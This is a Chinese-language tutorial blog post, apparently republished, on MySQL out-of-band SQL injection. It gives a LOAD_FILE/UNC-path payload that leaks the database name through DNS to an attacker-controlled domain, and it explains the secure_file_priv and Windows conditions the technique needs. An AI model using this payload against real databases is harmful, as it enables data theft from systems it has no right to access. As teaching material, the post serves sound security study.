mysql 带外注入

Posted 淚笑-l3yx

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql 带外注入相关的知识,希望对你有一定的参考价值。

带外通道


有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求、DNS解析、SMB服务等将数据带出。

 

payload


 SELECT LOAD_FILE(CONCAT(\'\\\\\\\\\',( SELECT DATABASE() ),\'.xx.xx\\\\x));

其中的load_file的地址为一个远程文件,mysql在load_file()一个远程文件时会发送dns请求包去解析,所以可以带出数据,\'\\\\data.xx.xx\\x\' ,xx.xx为自己的服务器名,没有的话可以去这里申请一个 ceye.io 

 

mysql带外注入条件


1. mysql.ini 中 secure_file_priv 必须为空

( ps. 修改mysql.ini 文件,在[mysqld] 下加入 secure_file_priv =   )

mysql 新版本下secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

  • 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

 

2. 从payload看出load_file的路径是windows下的UNC路径,所以mysql带外注入只能发生在windows机器上

UNC路径

 

测试


 

 

以上是关于mysql 带外注入的主要内容,如果未能解决你的问题,请参考以下文章

带外通道Bind XML外部实体注入漏洞:PayPal案例研究

带外通道(OOB)Bind XML外部实体注入漏洞:PayPal案例研究

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

mysql执行带外键的sql文件时出现mysql ERROR 1215 (HY000): Cannot add foreign key constraint的解决

初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段

初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段